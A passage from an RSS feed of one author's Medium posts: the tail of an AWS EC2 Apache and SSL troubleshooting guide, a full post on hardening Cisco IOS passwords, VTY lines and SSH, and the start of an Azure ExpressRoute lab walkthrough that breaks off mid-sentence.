permissions of the directory where the file was being downloaded. Here’s the fix we applied:</p><ol><li><strong>Remove the partially downloaded file:</strong><br> First, we cleaned up the directory and removed any partially downloaded files:</li><li>sudo rm -f /home/ubuntu/webmin_2.105_all.deb</li><li><strong>Install the package again with proper permissions:</strong><br> We tried running the installation again, but with elevated privileges to ensure the download happened correctly:</li><li>sudo dpkg -i webmin_2.105_all.deb</li></ol><p><strong>Lesson Learned:</strong><br> When installing packages via dpkg, it’s important to ensure that the user running the command has the right permissions to download and install files. Running as root (without the proper environment) can sometimes interfere with the process, so checking permissions and file locations is critical.</p><p><strong>Terminal Output with the Error and Resolution</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3x1NX3HP4DNd0UwZBO2e4A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OFH6WyqlcVDI7WUxhDPeJQ.png" /></figure><p><strong>Error 2: “403 Forbidden” After Installing Apache</strong></p><p><strong>What Happened?</strong><br> After setting up <strong>Apache</strong> and configuring the default page, we tried accessing the server via <a href="http://your-ec2-ip/"><strong>http://your-ec2-ip</strong></a>, but received a <strong>403 Forbidden</strong> error.</p><p><strong>Cause of the Issue:</strong><br> This error typically occurs when Apache is not configured to allow public access to the directory containing the web page, or if file permissions are not set correctly.</p><p><strong>How We Resolved It:</strong><br> Here’s how we fixed the issue:</p><ol><li><strong>Check the directory permissions:</strong><br> We ensured that the directory /var/www/html where Apache serves files had the correct permissions:</li><li>sudo chown -R www-data:www-data /var/www/html</li><li>sudo chmod -R 755 /var/www/html</li><li><strong>Check the Apache configuration:</strong><br> We confirmed that Apache’s configuration allowed access to the public directory. We edited the 000-default.conf file to make sure it allowed traffic:</li><li>sudo nano /etc/apache2/sites-available/000-default.conf</li><li>Then, we checked that the following lines were set up correctly:</li></ol><pre>&lt;Directory /var/www/html&gt;<br>    Options Indexes FollowSymLinks<br>    AllowOverride All<br>    Require all granted<br>&lt;/Directory&gt;</pre><p>7<strong>. Restart Apache:</strong><br> After modifying the configurations, we restarted Apache to apply the changes:</p><p>8. sudo systemctl restart apache2</p><p><strong>Lesson Learned:</strong><br> Permissions and Apache configurations are critical when setting up a web server. Always check both the filesystem permissions and the Apache configuration to ensure everything is set up correctly.</p><p><strong>Error 3: “SSL Certificate Installation Failed”</strong></p><p><strong>What Happened?</strong><br> After configuring <strong>SSL with Let’s Encrypt</strong>, we encountered a <strong>certificate installation failure</strong>.</p><p><strong>Cause of the Issue:</strong><br> This happened because the <strong>HTTP-01 challenge</strong> used by Let’s Encrypt requires the server to be accessible over <strong>HTTP</strong> (port 80). However, since we didn’t have port 80 open in our security group at the time, the certificate installation failed.</p><p><strong>How We Resolved It:</strong><br> To fix this, we:</p><ol><li><strong>Checked our Security Group:</strong><br> We confirmed that <strong>port 80</strong> was open in the EC2 security group.</li><li><strong>Re-ran the Certbot Command:</strong><br> After ensuring port 80 was open, we re-ran the Certbot command to obtain the SSL certificate:</li><li>sudo certbot — apache -d yourdomain.com</li><li><strong>Verified the SSL Certificate:</strong><br> After Certbot successfully issued the certificate, we verified it by visiting the site via <a href="https://yourdomain.com/"><strong>https://yourdomain.com</strong></a>.</li></ol><p><strong>Lesson Learned:</strong><br> When using Let’s Encrypt, it’s essential to have port 80 open temporarily for the HTTP-01 challenge. Once the certificate is installed, we can secure the server with HTTPS, and traffic on port 80 can be redirected to HTTPS.</p><p><strong>Conclusion: Troubleshooting Made Easy</strong></p><p>Every server setup comes with its fair share of challenges, but with persistence and careful troubleshooting, the solutions are always within reach. By addressing the errors above, we were able to learn valuable lessons about permissions, Apache configurations, and SSL setup.</p><p>In the next part of this tutorial, we’ll see how <strong>CloudFormation</strong> can streamline the process and eliminate the need for manual intervention. However, having a solid understanding of the manual steps ensures that when something goes wrong, we know exactly how to troubleshoot and resolve it.</p><p><strong>What We’ve Learned</strong></p><ol><li><strong>Apache setup:</strong> Configuring Apache correctly is vital, from ensuring permissions to modifying the configuration files.</li><li><strong>SSL certificates with Let’s Encrypt:</strong> Let’s Encrypt makes SSL accessible and free, but we must ensure the server is properly accessible during the certificate issuance process.</li><li><strong>Troubleshooting:</strong> Every error provides a learning opportunity. Fixing issues with the right approach not only resolves problems but also enhances your understanding of the tools.</li></ol><p><strong>Final Thoughts:</strong></p><p>I hope this blog has made the process of setting up a web server on <strong>AWS EC2</strong> more approachable. Whether you’re just starting or have some experience under your belt, there’s always something new to learn in the world of cloud computing. Stay tuned for more tutorials as we continue to automate and scale our cloud infrastructure!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=74986693c531" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Fort Knox or Cardboard Box? Securing Your Cisco Fortress]]></title>
            <link>https://medium.com/@M4verick/fort-knox-or-cardboard-box-securing-your-cisco-fortress-36a3c85404c2?source=rss-bb940cf519a7------2</link>
            <guid isPermaLink="false">https://medium.com/p/36a3c85404c2</guid>
            <category><![CDATA[encryption]]></category>
            <category><![CDATA[cisco]]></category>
            <category><![CDATA[passwords]]></category>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[Maverick]]></dc:creator>
            <pubDate>Tue, 06 May 2025 14:10:16 GMT</pubDate>
            <atom:updated>2025-05-06T14:25:56.937Z</atom:updated>
            <content:encoded><![CDATA[<p>Let’s be honest, in today’s threat landscape, network security isn’t a suggestion — it’s the bedrock of your digital operations. When it comes to your Cisco IOS devices, are you securing them like Fort Knox or leaving the keys in a cardboard box? Understanding the nuances of password protection is the first critical step.</p><p><strong>The Danger of Clear Text and Weak Encryption:</strong> The most vulnerable approach is storing passwords in clear text — a big no-no! Even the service password-encryption command, while attempting to obfuscate with Cisco Type 7 encryption, offers a false sense of security. Numerous online tools can easily crack these &quot;encrypted&quot; passwords. Think of it as a flimsy lock that any determined intruder can pick in seconds.</p><ul><li><strong>enable password - A Legacy Risk:</strong> The enable password command, used to protect privileged EXEC mode, also falls into this category of weak Type 7 encryption. While it might seem convenient, it&#39;s a significant security risk and should be avoided in modern configurations. Interestingly, Cisco allows you to configure both enable password and enable secret. However, the device prioritizes enable secret if both are present, underscoring its intended use for robust security. If neither is configured, console users get a free pass to privileged mode (yikes!), while Telnet and SSH users are locked out.</li><li><strong>enable secret - The Gold Standard:</strong> This is where true security begins. The enable secret command employs strong, one-way hashing algorithms like MD5, SHA-256, PBKDF2, and scrypt. Instead of storing the actual password, IOS stores a unique digital fingerprint (the hash). When you enter the enable password, IOS hashes what you typed and compares it to the stored hash. If they match, you&#39;re in! This means the actual password is never stored in a readable format, making it virtually impossible to retrieve even if the configuration file is compromised. Always, always use enable secret! You can even specify the hashing algorithm explicitly (e.g., enable algorithm-type sha256 secret &lt;password&gt;). The Cisco enable secret command protects the password value by never even storing the clear-text password in the configuration. However, that one sentence may cause you a bit of confusion: If the router or switch does not remember the clear-text password, how can the switch know that the user typed the right password after using the enable command?</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1010/1*tVGKQqHWbT21iILKP0uAOw.png" /></figure><pre>Step 1. -&gt; IOS computes the MD5 hash of the password in the enable secret command and stores the hash of the password in the configuration.<br>Step 2 -&gt; When the user types the enable command to reach enable mode, a password that needs to be checked against that configuration command, IOS hashes the clear-text password as typed by the user.<br>Step 3 -&gt; IOS compares the two hashed values: if they are the same, the user-typed password must be the same as the configured password.<br>As a result, IOS can store the hash of the password but never store the clear-text password; however, it can still determine whether the user typed the same password.</pre><p><strong>Securing Local Usernames: </strong><strong>password vs. </strong><strong>secret:</strong> The same principle applies to local username authentication. Using username &lt;user&gt; password &lt;pass&gt; utilizes the weak Type 7 encryption. In contrast, username &lt;user&gt; secret &lt;pass&gt; leverages the same powerful hashing algorithms as enable secret. While some older authentication methods (like PAP and CHAP on serial links) might still require a clear-text password configured with the password keyword, in almost all other scenarios, <strong>secret is the clear winner for robust user authentication</strong>. IOS wisely allows only one password type per username, preventing confusion and encouraging the use of the more secure secret option.</p><p><strong>Peeling Back the Layers — Encryption Algorithms for </strong><strong>enable secret</strong></p><p>When you configure the enable secret, you&#39;re not just setting a password; you&#39;re choosing an algorithm to protect it. Cisco IOS offers a range of options, each with varying levels of complexity and security. My notes highlighted some key algorithms:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1018/1*GFAtpy08JKjRjJsTZCZHUg.png" /></figure><ul><li><strong>MD5 (Message Digest 5):</strong> This is a relatively older hashing algorithm. While still more secure than the reversible Type 7 encryption, MD5 is considered cryptographically weaker today due to known collision vulnerabilities. This means it’s theoretically possible for two different passwords to produce the same MD5 hash. While still better than clear text or Type 7, it’s not the strongest option available. You might see it configured as</li></ul><pre> enable algorithm-type md5 secret &lt;password&gt;.</pre><ul><li><strong>PBKDF2 (Password-Based Key Derivation Function 2):</strong> This algorithm is significantly more robust than MD5. PBKDF2 employs a salt (random data added to the password before hashing) and multiple iterations (rounds of hashing) to make password cracking much more computationally expensive. This added complexity makes it far harder for attackers to brute-force or use pre-computed rainbow tables. You might encounter it implicitly or explicitly in newer IOS versions.</li><li><strong>SHA-256 (Secure Hash Algorithm 256-bit):</strong> Part of the SHA-2 family, SHA-256 is a widely respected and strong cryptographic hash function. It produces a longer hash value than MD5, further reducing the risk of collisions. Configuring it would look like</li></ul><pre> enable algorithm-type sha256 secret &lt;password&gt;.</pre><ul><li><strong>scrypt:</strong> This is a more modern key derivation function that is specifically designed to be resistant to hardware-based attacks, such as those using GPUs or ASICs. Scrypt incorporates both salting and a significant memory cost, making it even more computationally intensive and memory-hard to crack. You might see it configured as on more recent IOS versions that support it.</li></ul><pre>enable algorithm-type scrypt secret &lt;password&gt;</pre><p><strong>Contrast with </strong><strong>service password-encryption:</strong> It&#39;s crucial to remember that the service password-encryption command uses a <strong>proprietary and much weaker Cisco Type 7 algorithm</strong>. It&#39;s not in the same league as the hashing algorithms used with enable secret. While it encrypts clear-text passwords in the configuration, its primary purpose was more about basic obfuscation than true security. As my notes mentioned, these Type 7 &quot;encrypted&quot; passwords can be easily decrypted with readily available online tools.</p><p><strong>In essence, when configuring </strong><strong>enable secret, you&#39;re choosing a robust, one-way hashing algorithm designed for security. The </strong><strong>service password-encryption command, on the other hand, offers a superficial level of encryption that should not be relied upon for serious security.</strong></p><p><strong>Gating the Gates — Configuring Console and Virtual Terminal (VTY) Lines</strong></p><p>Think of the console and VTY lines as the physical and virtual doorways to your Cisco device’s command-line interface (CLI). Properly securing these entry points is fundamental to preventing unauthorized access. My notes highlighted their configuration and primary uses:</p><ul><li><strong>Console Line (Physical Access — </strong><strong>line con 0):</strong> This represents the direct physical connection to the device, typically via a serial cable. It&#39;s often the first point of access for initial configuration and recovery.</li><li><strong>CLI Access:</strong> The console port provides direct CLI access, even when the network is down. This makes it invaluable for troubleshooting boot issues or making fundamental configuration changes.</li><li><strong>Security Considerations:</strong> Because it’s a physical port, physical security is paramount. You can further secure it within the IOS configuration by setting a password using the password &lt;password&gt; command under the line con 0 configuration. You then need to enable login with the login command. For example: Cisco CLI</li></ul><pre>line con 0<br> password secureconsole<br> login</pre><p>While this adds a basic layer of security, remember the limitations of Type 7 encryption if you use the password command directly. For console access, especially in secure environments, consider physical access control as the primary defense.</p><ul><li><strong>Virtual Terminal Lines (Remote Access — </strong><strong>line vty 0 15):</strong> These are software-based interfaces that allow for remote CLI access via protocols like Telnet and SSH. The line vty 0 15 command configures all 16 virtual terminal lines (numbered 0 through 15), allowing up to 16 concurrent remote sessions.</li><li><strong>CLI and Telnet Access:</strong> Historically, VTY lines were primarily used for Telnet access, a protocol that transmits data, including passwords, in clear text. As my notes emphasized, this makes Telnet highly insecure and susceptible to eavesdropping. <strong>Therefore, Telnet should be avoided in production environments.</strong></li><li><strong>Security Configuration for VTY Lines:</strong> To control access to VTY lines (whether for Telnet or SSH), you configure them similarly:</li><li><strong>Authentication:</strong> You can use the login local command to authenticate against the local username database (configured with the username command). Alternatively, you can configure AAA for more centralized authentication.</li><li><strong>Password (for Telnet — Avoid!):</strong> You <em>can</em> set a direct password using the password &lt;password&gt; command under the line vty configuration, followed by the login command. However, <strong>due to the clear-text nature of Telnet, this offers minimal security.</strong></li><li><strong>Access Control Lists (ACLs):</strong> A much more robust security measure is to use ACLs to restrict which IP addresses can connect to the VTY lines. The access-class &lt;acl-number&gt; in command, applied under the line vty configuration, filters incoming connection attempts based on the source IP address.</li><li><strong>Execution Timeout (</strong><strong>exec-timeout &lt;minutes&gt; &lt;seconds&gt;):</strong> This command sets an inactivity timer, automatically disconnecting idle sessions, which is a good security practice.</li><li><strong>Transport Protocols (</strong><strong>transport input &lt;protocol-list&gt;):</strong> This crucial command dictates which protocols are allowed on the VTY lines. To <strong>disable Telnet and allow only SSH</strong>, you would use transport input ssh. Other options include telnet, all, or none.</li></ul><p><strong>In summary, the console line provides essential physical access, while VTY lines enable remote management. Securing both is critical. For VTY lines, prioritize strong authentication (like </strong><strong>login local with strong </strong><strong>secret passwords or AAA) and, most importantly, restrict access using ACLs and limit transport protocols to secure options like SSH.</strong></p><p><strong>SSH — The Secure Remote Access Champion</strong></p><p>As my notes highlight, SSH (Secure Shell) emerged in 1995 as the much-needed replacement for the insecure Telnet protocol. While Telnet transmits everything in clear text, SSH encrypts all communication, including usernames, passwords, and commands, making it vastly superior for secure remote access to your Cisco devices.</p><p><strong>Key Features:</strong></p><ul><li><strong>Encryption:</strong> SSH uses strong cryptographic algorithms to protect the confidentiality and integrity of data transmitted over the network.</li><li><strong>Authentication:</strong> SSH provides robust authentication mechanisms to verify the identity of both the client and the server.</li><li><strong>Security:</strong> SSH is considered a secure protocol for remote access, protecting against eavesdropping, session hijacking, and other attacks.</li></ul><p><strong>IOS Images and SSH:</strong> It’s important to note that not all Cisco IOS images support SSH. Images that do typically have “K9” in their name, indicating cryptographic capabilities. Conversely, “NPE” (No Payload Encryption) images lack support for cryptographic features like SSH due to export restrictions in some countries.</p><ul><li><strong>Enabling and Configuring SSH:</strong> Enabling SSH involves several key steps, as outlined in my notes:</li></ul><ol><li><strong>Hostname:</strong> Set a unique hostname for the device using the hostname &lt;name&gt; command.</li><li><strong>Domain Name:</strong> Configure a domain name using the ip domain name &lt;domain&gt; command. The fully qualified domain name (FQDN) is used in generating the RSA keys.</li><li><strong>RSA Key Pair Generation:</strong> Generate an RSA key pair using the crypto key generate rsa command. The modulus length (key size) should be 768 bits or greater for SSHv2 compatibility. A longer key length generally provides stronger security. An alternate method is crypto key generate rsa modulus &lt;length&gt;.</li><li><strong>Authentication Credentials:</strong> Configure either an enable secret password or local usernames and secrets (using the username &lt;user&gt; secret &lt;password&gt; command).</li><li><strong>SSH Version (Optional but Recommended):</strong> Restrict SSH to version 2 only using the ip ssh version 2 command. SSHv2 is more secure than SSHv1.</li><li><strong>VTY Line Configuration:</strong> Configure the VTY lines (as we discussed earlier) to use local authentication (login local) and, crucially, to <strong>only allow SSH connections</strong> using the transport input ssh command. You can also apply ACLs to the VTY lines (access-class &lt;acl-number&gt; in) to restrict access based on source IP address.</li></ol><ul><li><strong>Connecting with SSH:</strong> To connect to a Cisco device via SSH, you would typically use a command like ssh -l &lt;username&gt; &lt;ip-address&gt; or ssh &lt;username&gt;@&lt;ip-address&gt;.</li><li><strong>VTY Lines and SSH:</strong> It’s essential to understand that SSH, like Telnet, uses the VTY lines for connection. Therefore, the same security considerations and configurations for VTY lines apply to SSH. <strong>The key difference is that SSH encrypts the entire session, while Telnet transmits everything in clear text.</strong></li></ul><p>In essence, SSH provides a secure and encrypted channel for remote access to your Cisco devices, making it the preferred protocol over the insecure Telnet. Proper configuration, including strong authentication, restricting access with ACLs, and limiting VTY lines to SSH only, is paramount for maintaining the security of your network infrastructure.</p><p><strong>Summary: Hardening Your Cisco Devices — A Security-Focused Approach</strong></p><p>Securing Cisco IOS devices is a multifaceted endeavor that goes beyond simply setting passwords. It involves a deep understanding of the vulnerabilities of older methods and the implementation of robust security practices.</p><p>We’ve covered several critical aspects:</p><ul><li><strong>Password Protection:</strong> The enable secret and username &lt;user&gt; secret &lt;pass&gt; commands are paramount for protecting privileged EXEC mode and user authentication, respectively. These commands utilize strong, one-way hashing algorithms (like SHA-256 and scrypt) to prevent password disclosure, unlike the weak Type 7 encryption used by enable password and username &lt;user&gt; password &lt;pass&gt;. The service password-encryption command, while encrypting some passwords, offers minimal real security.</li><li><strong>Encryption Algorithms:</strong> When configuring enable secret, you choose an encryption algorithm. Options range from the older MD5 (less secure) to more modern and robust choices like SHA-256 and scrypt, which offer significantly stronger protection against password cracking.</li><li><strong>Console and VTY Line Security:</strong> The console line provides direct physical access and should be protected primarily through physical security. VTY lines enable remote access via Telnet and SSH. Telnet is inherently insecure and should be avoided. VTY lines should be secured using strong authentication (like login local with secret passwords), access control lists (ACLs) to restrict access, and by limiting transport protocols to SSH only.</li><li><strong>SSH Configuration:</strong> SSH provides secure, encrypted remote access and is the preferred protocol over Telnet. Enabling SSH requires configuring a hostname, domain name, generating RSA keys, setting strong authentication credentials, and configuring VTY lines to allow only SSH connections.</li></ul><p>By implementing these security measures, network administrators can significantly reduce the risk of unauthorized access and protect their Cisco IOS devices from various threats.</p><p><strong>Outro: Secure Today, Secure Tomorrow</strong></p><p>In the ever-evolving landscape of cybersecurity, vigilance is key. The configurations we’ve discussed aren’t just one-time tasks; they’re the foundation of a security-conscious approach to network management. By prioritizing strong encryption, controlling access to your devices, and staying informed about best practices, you’re not just securing your network for today, but building a resilient defense for the challenges of tomorrow. Stay secure, stay ahead!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=36a3c85404c2" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How Azure ExpressRoute Works]]></title>
            <link>https://medium.com/@M4verick/how-azure-expressroute-works-d3bfbe39cf90?source=rss-bb940cf519a7------2</link>
            <guid isPermaLink="false">https://medium.com/p/d3bfbe39cf90</guid>
            <category><![CDATA[expressroute]]></category>
            <category><![CDATA[azure]]></category>
            <category><![CDATA[cloud-computing]]></category>
            <category><![CDATA[networking]]></category>
            <dc:creator><![CDATA[Maverick]]></dc:creator>
            <pubDate>Sat, 03 May 2025 04:33:44 GMT</pubDate>
            <atom:updated>2025-05-03T04:33:44.813Z</atom:updated>
            <content:encoded><![CDATA[<p>Azure ExpressRoute provides a dedicated, private network connection between your on-premises infrastructure and Microsoft Azure datacenters. Instead of traversing the public internet, traffic flows through a connectivity provider’s network, offering more reliable and predictable performance, higher bandwidth, lower latency, and enhanced security.</p><p>At a high level, the process involves:</p><ol><li><strong>Establishing a connection with a connectivity provider:</strong> You’ll work with a provider that has a physical connection to Microsoft’s network at an ExpressRoute location.</li><li><strong>Creating an ExpressRoute circuit:</strong> This is a logical connection that represents the dedicated path between your network and Azure. You’ll specify the bandwidth and peering types (Private and/or Microsoft).</li><li><strong>Configuring routing:</strong> Once the circuit is provisioned, you’ll configure routing to direct traffic between your on-premises network and your Azure virtual networks (for Private Peering) or Azure services (for Microsoft Peering). This typically involves Border Gateway Protocol (BGP) peering with Microsoft’s routers.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LcSMuF4pKW428YIR3dZQwA.png" /></figure><p>Prerequisites for ExpressRoute</p><p>Before deploying Azure ExpressRoute, several prerequisites need to be in place:</p><ul><li><strong>Azure Subscription:</strong> You need an active Azure subscription.</li><li><strong>Connectivity Provider:</strong> Engage with an Azure ExpressRoute connectivity provider.</li><li><strong>Network Infrastructure:</strong> Ensure your on-premises network is capable of connecting to the chosen ExpressRoute location. This includes having compatible routing equipment that supports BGP.</li><li><strong>ExpressRoute Location:</strong> Select an ExpressRoute location that is geographically convenient and supported by your chosen provider.</li><li><strong>IP Addressing:</strong> Plan your private and public IP address ranges for the ExpressRoute interfaces.</li><li><strong>Virtual Network Gateway:</strong> For Private Peering, you’ll need an ExpressRoute virtual network gateway deployed in your Azure virtual network.</li><li><strong>Authorization Key and Peer ASN:</strong> You’ll receive an authorization key and need to provide your Autonomous System Number (ASN) to your connectivity provider.</li></ul><p><strong>ExpressRoute Locations (Peering or Meet-Me Locations)</strong></p><p>ExpressRoute locations are crucial as they are the physical points of interconnection between your connectivity provider’s network and the Microsoft Enterprise Edge (MSEE) routers. These globally distributed facilities enable you to establish connectivity to Microsoft’s global network.</p><p><strong>Key Considerations for ExpressRoute Locations:</strong></p><ul><li><strong>Geographical Proximity:</strong> Choose a location close to your on-premises infrastructure to minimize latency.</li><li><strong>Connectivity Provider Availability:</strong> Ensure your preferred connectivity provider has a presence at the desired location.</li><li><strong>Service Availability:</strong> All Azure regions within a geopolitical region are accessible if you connect to at least one ExpressRoute location within that region.</li><li><strong>Global Connectivity:</strong> The standard ExpressRoute SKU offers connectivity within a single geopolitical region. The <strong>ExpressRoute Premium Add-on</strong> is required for global connectivity across geopolitical boundaries.</li></ul><p>Available Connectivity Providers for Azure ExpressRoute</p><p>Azure ExpressRoute offers flexibility in how you connect to Microsoft’s network through various types of connectivity providers:</p><ul><li><strong>ExpressRoute Connectivity Providers:</strong> These are telecommunication operators or network service providers that offer direct Layer 2 or Layer 3 connections between your on-premises infrastructure and Azure ExpressRoute locations. They manage the physical connection and routing.</li><li><strong>Connectivity Through Exchange Providers:</strong> These providers operate large, carrier-neutral colocation facilities. You can connect to their exchange points, and they will facilitate the connection to the Microsoft Enterprise Edge routers within the same facility. This model often provides access to multiple connectivity providers.</li><li><strong>Connectivity Through Satellite Operators:</strong> For organizations in remote locations where terrestrial connectivity is limited, satellite operators can provide ExpressRoute connections.</li></ul><p>Creating an ExpressRoute Circuit and Peering</p><p>The process of creating an ExpressRoute circuit involves the following steps:</p><ol><li><strong>Using the Azure portal, PowerShell, or Azure CLI:</strong> You’ll create an ExpressRoute circuit resource within your Azure subscription.</li><li><strong>Specifying configuration details:</strong> This includes the location, bandwidth, billing model, and SKU.</li><li><strong>Receiving the Service Key:</strong> Once the circuit is created, you’ll receive a unique service key. You’ll share this key with your chosen connectivity provider to establish the physical connection.</li><li><strong>Provider Provisioning:</strong> The connectivity provider will provision the connection on their end and update the circuit status in Azure to “Provisioned.”</li></ol><p>After the provider status is “Provisioned,” you can configure the <strong>peerings</strong>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UzXJS4wrUkfTgFHQAk7lcw.png" /></figure><ul><li><strong>Private Peering:</strong> Enables you to connect your on-premises network to Azure Virtual Networks (VNets). You’ll configure private IP addresses and establish BGP sessions with Microsoft’s private peering routers. This allows seamless connectivity to your IaaS and PaaS resources within your VNets.</li><li><strong>Microsoft Peering:</strong> Allows you to connect to Microsoft SaaS/PaaS services like Microsoft 365, Dynamics 365, and Azure public services (e.g., Azure Storage, Azure SQL Database). You’ll need to use public IP addresses for this peering and configure BGP sessions with Microsoft’s Microsoft peering routers.</li></ul><p><strong>Considerations for Choosing an Azure ExpressRoute Peering Location</strong></p><p>Selecting the right ExpressRoute peering location is crucial for performance and cost optimization. Consider the following:</p><ul><li><strong>Proximity to your on-premises data centers:</strong> Lower latency and better performance can be achieved by choosing a location geographically close to your infrastructure.</li><li><strong>Availability of your chosen connectivity provider:</strong> Ensure your preferred provider supports the location.</li><li><strong>Azure region access:</strong> Remember that connecting to one ExpressRoute location within a geopolitical region grants access to all Azure regions within that region.</li><li><strong>Disaster recovery requirements:</strong> Consider pairing ExpressRoute circuits in different locations for enhanced resilience.</li><li><strong>Cost implications:</strong> Different locations might have varying costs associated with connectivity.</li></ul><p><strong>Connecting a Virtual Network to an ExpressRoute Circuit</strong></p><p>To connect a virtual network to an ExpressRoute circuit (for Private Peering), you need to create an <strong>ExpressRoute virtual network gateway</strong> within your VNet. This gateway serves as the connection point between the VNet and the ExpressRoute circuit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1mopRbMMeP-EXLufm2eSKQ.png" /></figure><p>The steps involved are:</p><p><strong>Create a Virtual Network Gateway:</strong> Choose the gateway type as “ExpressRoute.” Ensure the gateway subnet has sufficient address space.</p><p>To connect your Azure virtual network and your on-premises network via ExpressRoute, you must create a virtual network gateway first. A virtual network gateway serves two purposes: to exchange IP routes between the networks and to route network traffic.</p><p>When you create a virtual network gateway, you need to specify several settings. One of the required settings, ‘-GatewayType’, specifies whether the gateway is used for ExpressRoute, or VPN traffic. The two gateway types are:</p><p>- **VPN** — To send encrypted traffic across the public Internet, you use the gateway type ‘VPN’. This is also referred to as a VPN gateway. Site-to-Site, Point-to-Site, and VNet-to-VNet connections all use a VPN gateway.</p><p>- **ExpressRoute** — To send network traffic on a private connection, you use the gateway type ‘ExpressRoute’. This is also referred to as an ExpressRoute gateway and is the type of gateway used when configuring ExpressRoute.</p><p>Each virtual network can have only one virtual network gateway per gateway type. For example, you can have one virtual network gateway that uses -GatewayType VPN, and one that uses -GatewayType ExpressRoute.</p><p>In this exercise, you will</p><p><strong>- Task 1: Create the VNet and gateway subnet</strong></p><p>On any Azure Portal page, in **Search resources, services and docs**, enter virtual network, and then select **Virtual networks** from the results.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AlmmvTGhGWbA6P7OUEZnlA.png" /></figure><p>→ On the Virtual networks page, select **+Create**.</p><p>→ On the Create virtual networks pane, on the **Basics** tab, use the information in the following table to create the VNet:</p><pre>| **Setting** | **Value** |<br>| - - - - - - - - - - | - - - - - - - - - - - - - - - - |<br>| Virtual Network Name | CoreServicesVNet |<br>| Resource Group | ContosoResourceGroup |<br>| Location | East US |</pre><p>Select **Next : IP addresses**.</p><p>On the **IP Addresses** tab, in **IPv4 address space**, enter 10.20.0.0/16, and then select **+ Add subnet**.</p><p>In the Add subnet pane, use the information in the following table to create the subnet:</p><pre>| **Setting** | **Value** |<br>| - - - - - - - - - - - - - - | - - - - - - - - - - - - |<br>| Subnet purpose | Virtual Network Gateway |<br>| Gateway Subnet address space | 10.20.0.0/27 |</pre><p>Note that the subnet name will be automatically populated. And then select **Add**.</p><p>→ On the Create virtual network page, select **Review + Create**.</p><p>→ Confirm that the VNet passes the validation and then select **Create**.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uuJJy2hvin3DYcP7dzYDlw.png" /></figure><p><strong>- Task 2: Create the virtual network gateway</strong></p><p>→ On any Azure Portal page, in **Search resources, services and docs (G+/)**, enter virtual network gateway, and then select **Virtual network gateways** from the results.</p><p>→ On the Virtual network gateways page, select **+Create**.</p><p>→On the **Create virtual network gateway** page, use the information in the following table to create the gateway:</p><pre>| **Setting** | **Value** |<br>| - - - - - - - - - - - - - | - - - - - - - - - - - - - |<br>| **Project details** | |<br>| Resource Group | ContosoResourceGroup |<br>| **Instance details** | |<br>| Name | CoreServicesVnetGateway |<br>| Region | East US |<br>| Gateway type | ExpressRoute |<br>| SKU | Standard |<br>| Virtual network | CoreServicesVNet |<br>| **Public IP address** | |<br>| Public IP address | Create new |<br>| Public IP address name | CoreServicesVnetGateway-IP |<br>| Assignment | Not configurable |<br></pre><p>Select **Review + Create**.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BO49MEJvZuR_GpWYNDQAhg.png" /></figure><p>Confirm that the Gateway configuration passes validation and then select **Create**.</p><p>When the deployment is complete, select **Go to Resource**.</p><p><strong>Create a Connection:</strong> Link the ExpressRoute gateway to your ExpressRoute circuit, providing the resource ID of the circuit and an authorization key (if the circuit is in a different subscription).</p><p>Once the connection is established, traffic can flow between your on-premises network and the virtual network over the private ExpressRoute connection.</p><p><strong>In this exercise, you will:</strong></p><p><strong>## Task 1: Create and provision an ExpressRoute circuit</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_3qLEP5yz69GxA9yOcB6pg.png" /></figure><p>&gt;**Important**: Your ExpressRoute circuit is billed from the moment a service key is issued. Ensure that you perform this operation when the connectivity provider is ready to provision the circuit.</p><p>→On the Azure portal menu, select **+ Create a resource**. Select **Networking**, and then select **ExpressRoute**, as shown in the following image. If ExpressRoute does not appear in the list, use **Search the marketplace** to search for it:</p><p>→ On the **Create ExpressRoute** page, provide the **Resource Group** as ExpressRouteResourceGroup. Then select **Standard Resiliency** for **Resiliency**</p><p>For ***Circuit Details**, make sure that you specify the correct Region (**East US 2**), Circuit Name (**TestERCircuit**), Peering location (**Seattle**), Provider (**Equinix**), Bandwidth (**50Mbps**), SKU tier (**Standard**) and data metering billing model (**Metered**).</p><p><strong>Select **Review + Create**.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZKbiOklf894PXhhqH_VYdQ.png" /></figure><p>Confirm that the ExpressRoute configuration passes validation and then select **Create**.</p><pre>+ Port type determines if you are connecting to a service provider or directly into Microsoft&#39;s global network at a peering location.<br>+ Create new or import from classic determines if a new circuit is being created or if you are migrating a classic circuit to Azure Resource Manager.<br>+ Provider is the internet service provider who you will be requesting your service from.<br>+ Peering Location is the physical location where you are peering with Microsoft.</pre><p>[!Important]</p><p>The Peering Location indicates the [physical location](https://docs.microsoft.com/en-us/azure/expressroute/expressroute-locations) where you are peering with Microsoft. This is not linked to “Location” property, which refers to the geography where the Azure Network Resource Provider is located. While they are not related, it is a good practice to choose a Network Resource Provider geographically close to the Peering Location of the circuit.</p><p>+ **SKU** determines whether an ExpressRoute local, ExpressRoute standard, or an ExpressRoute premium add-on is enabled. You can specify **Local** to get the local SKU, **Standard** to get the standard SKU or **Premium** for the premium add-on. You can change the SKU to enable the premium add-on.</p><p>→**Important**: You cannot change the SKU from Standard/Premium to Local.</p><p>+ **Billing model** determines the billing type. You can specify **Metered** for a metered data plan and **Unlimited** for an unlimited data plan. You can change the billing type from **Metered** to **Unlimited**.</p><p>[!Important] You cannot change the type from Unlimited to 